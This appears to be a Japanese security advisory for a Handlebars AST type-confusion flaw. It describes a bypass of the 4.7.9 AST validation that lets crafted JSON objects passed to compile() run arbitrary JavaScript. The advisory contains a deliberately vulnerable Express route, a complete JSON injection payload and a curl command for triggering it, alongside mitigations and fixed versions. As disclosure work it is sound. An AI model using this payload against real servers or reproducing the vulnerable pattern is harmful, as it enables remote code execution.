Handlebars: JavaScriptインジェクション - コンパイル時のAST型混同による脆弱性 (CVE-2026-33937の回避)
## 概要
`Handlebars.compile()` および `Handlebars.precompile()` は、テンプレート文字列に加えて、事前に解析されたASTを受け入れます。Handlebars 4.7.9では、このようなASTに対する検証が追加されました。ただし、検証は`PathExpression`、`NumberLiteral`、および`BooleanLiteral`ノードの値のみをチェックし、コンパイラは他の多くのAST値を検証せずに生成されるJavaScriptに書き込んでいます。
アプリケーションが、解析されたJSONリクエストボディのような、信頼できないオブジェクトを`compile()`または`precompile()`に渡すと、そのオブジェクトに任意のJavaScriptが含まれる可能性があります。`compile()`の場合、コードはテンプレートがレンダリングされる際にサーバー上で実行されます。`precompile()`の場合、コードはプリコンパイルされた出力に含まれ、その出力がロードされる場所で実行されます。
テンプレートの**文字列**のみを渡すアプリケーションは影響を受けません。
これは、GHSA-2w6w-674q-4c4q、GHSA-xhpv-hc6g-r9c6、およびGHSA-3mfm-83xf-c92rのために4.7.9に追加されたAST検証を回避するものです。
## 詳細
4.7.9の検証器は`parseWithoutProcessing()`で実行され、AST全体を走査します。検証は、`type`が`PathExpression`、`NumberLiteral`、または`BooleanLiteral`であるノードの値のみをチェックします。`type`を持たないプレーンなオブジェクト、および文字列やその他の非オブジェクト値は無視されます。コンパイラは、これらの値を他の場所から読み取り、検証せずに生成されたコードにそのまま書き込みます。
| ASTの値 | 生成されたコードに書き込まれるもの | 必要なコンパイルオプション |
|---|---|---|
| `Program.blockParams.length` | `container.program(<index>, data, <length>)` | なし (デフォルトオプション) |
| `PathExpression`ではないパラメータの`depth`、例えば`StringLiteral` | `depths[<depth>]` | `stringParams: true` |
| 文字列ではない`StringLiteral.value` | raw JavaScriptリテラル | `stringParams: true` |
| 文字列ではない`PathExpression.original` | raw JavaScriptリテラル | `stringParams: true` |
最初の行は、デフォルトのオプションで動作します。 `Program`オブジェクトで、`blockParams: { "length": "<JS expression>" }`を指定すると、検証が通過します。これは、以下の理由によります。
1. `blockParams`オブジェクトに`type`が指定されていないため、型固有のチェックは適用されません。
2. ウォーカは、`length`の下にある文字列をオブジェクトではないため、スキップします。
コンパイラは、`program.blockParams.length`を読み取り、その文字列を直接テンプレート関数に書き込みます。 `container.program(...)`の呼び出しは、ヘルパーオプションオブジェクトの一部であり、ヘルパーが参照される前に構築されます。 そのため、コードは、ブロックのヘルパーが存在しなくても、レンダリング時に実行されます。
## 実証
1. リクエスト入力をコンパイルするサーバーを起動します。
```js
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
const template = Handlebars.compile(req.body.text); // `text`は文字列ではなく、オブジェクトである可能性があります
res.send(template());
});
app.listen(2123);
```
2. このリクエストボディを`poc.json`として保存します。 `missingHelper`は存在する必要はありません。
```json
{
"text": {
"type": "Program",
"loc": { "start": { "line": 1, "column": 0 } },
"body": [
{
"type": "BlockStatement",
"path": {
"type": "PathExpression", "data": false, "depth": 0,
"parts": ["missingHelper"], "original": "missingHelper",
"loc": { "start": { "line": 1, "column": 0 } }
},
"params": [],
"program": {
"type": "Program",
"blockParams": {
"length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
},
"body": [],
"loc": { "start": { "line": 1, "column": 0 } }
},
"openStrip": { "open": false, "close": false },
"inverseStrip": { "open": false, "close": false },
"closeStrip": { "open": false, "close": false },
"loc": { "start": { "line": 1, "column": 0 } }
}
]
}
}
```
3. リクエストを送信する:
```sh
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
-H 'Content-Type: application/json' --data-binary @poc.json
```
サーバーはHTTP 500エラーと、注入されたコードがNode.jsプロセス内で実行されたことを示すエラーページで応答します。
```
Error: 注入されたコードはUID 1000として実行されました
```
## 影響
アプリケーションが影響を受けるのは、信頼できない入力が文字列ではなくオブジェクトとして `Handlebars.compile()` または `Handlebars.precompile()` に到達する場合です。 これは、JSONリクエストボディのフィールドを直接 `compile()` に渡す場合に起こりやすいです。
- **`compile()`**: 任意のJavaScriptコードが、アプリケーションの権限でNode.jsプロセス内で実行されます(リモートコード実行)。
- **`precompile()`**: 注入されたコードが、プリコンパイルされたテンプレートに書き込まれ、そのテンプレートがロードされる場所、例えばユーザーのブラウザで実行されます。
## 対策
- `Handlebars.compile()` を呼び出す前に、入力の型を検証する:引数が常に文字列であることを確認し、プレーンなオブジェクトやJSONデシリアライズされた値ではないことを確認します。
```javascript
if (typeof templateInput !== 'string') {
throw new TypeError('テンプレートは文字列でなければなりません');
}
```
- テンプレートがビルド時にプリコンパイルされる場合は、Handlebarsの**ランタイムのみ**のビルド (`handlebars/runtime`) をサーバーで使用します。 この場合、`compile()` は利用できません。
## 貢献者
### Variant `Program.blockParams`
- [Nick Mykhailyshyn - @whoareme](https://x.com/whoareme33)
- [jmoritzc53 ](https://github.com/jmoritzc53)
- [bhaswanthc ](https://github.com/bhaswanthc)
- [dinhvaren ](https://github.com/dinhvaren)
- [n0tra4e ](https://github.com/n0tra4e)
- [PellaML](https://github.com/PellaML)
- [kustundag](https://github.com/kustundag)
- [kagebunsher](https://github.com/kagebunsher)
- [sanmatte](https://github.com/sanmatte)
### Variant `BooleanLiteral|NumberLiteral.value`
- [sondt99 ](https://github.com/sondt99) VinSOC Labs(研究開発部門)のThai Son Dinh
- [Ahmed-Elmahgob ](https://github.com/Ahmed-Elmahgob)
- [nikolakojic-rasit ](https://github.com/nikolakojic-rasit)
- [vk-can](https://github.com/vk-can)
- [shenhuanageshei](https://github.com/shenhuanageshei)
- [kustundag](https://github.com/kustundag)
- [kagebunsher](https://github.com/kagebunsher)
- [ffasterss](https://github.com/ffasterss)
### Variant `PathExpression.depth`
- [hibrian827](https://github.com/hibrian827) Team Atlanta
- [oss-security-shopify](https://github.com/oss-security-shopify)
影響を受けるパッケージ:
- npm (JavaScript) handlebars: 影響範囲は 4.0.0 以上、4.7.9 以下、4.7.10 で修正済み。